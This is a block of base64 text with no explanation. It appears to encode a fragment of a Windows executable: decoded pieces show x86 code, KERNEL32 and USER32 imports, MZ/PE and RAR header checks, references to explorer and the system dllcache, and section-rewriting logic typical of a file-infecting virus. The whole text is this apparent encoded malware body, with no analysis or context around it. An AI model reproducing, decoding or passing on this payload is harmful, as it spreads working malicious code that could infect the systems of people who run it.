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 wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAgAAAEAAAIADAAAAYAAAgAUAAACIAACABgAAAKgAAIAOAAAA 2AAAgBAAAAD4AACAAAAAAAAAAAAAAAAAAAACAG0AAAAQAQCAdAAAACgBAIAAAAAAAAAAAAAA AAAAAAMAAQAAAEABAIACAAAAWAEAgAMAAABwAQCAAAAAAAAAAAAAAAAAAAACAGgAAACIAQCA dQAAAKABAIAAAAAAAAAAAAAAAAAAAAQAAQAAALgBAIACAAAA0AEAgAMAAADoAQCABAAAAAAC AIAAAAAAAAAAAAAAAAAAAAIAZQAAABgCAIByAAAAMAIAgAAAAAAAAAAAAAAAAAAAAQABAAAA SAIAgAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAcAIAAAAA AAAAAAAAAAAAAAAAAQAJBAAAgAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAkAIAAAAAAAAAAAAA AAAAAAAAAQAJBAAAoAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAsAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAwAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA0AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA 4AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA8AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAAAMAAAAA AAAAAAAAAAAAAAAAAQAJBAAAEAMAAAAAAAAAAAAAAAAAAAAAAQAJBAAAIAMAAAAAAAAAAAAA AAAAAAAAAQAJBAAAMAMAADhuCQCiBgAAAAAAAAAAAADgdAkAKhsAAAAAAAAAAAAA8FQJAOgC AAAAAAAAAAAAAPBXCQDoAgAAAAAAAAAAAADYWgkAqAgAAAAAAAAAAAAAQGcJACoEAAAAAAAA AAAAAHBrCQDEAgAAAAAAAAAAAAAQkAkAegIAAAAAAAAAAAAAkJIJACQEAAAAAAAAAAAAALiW CQAMCgAAAAAAAAAAAADIoAkA4gAAAAAAAAAAAAAA2FcJABQAAAAAAAAAAAAAAIBjCQAiAAAA 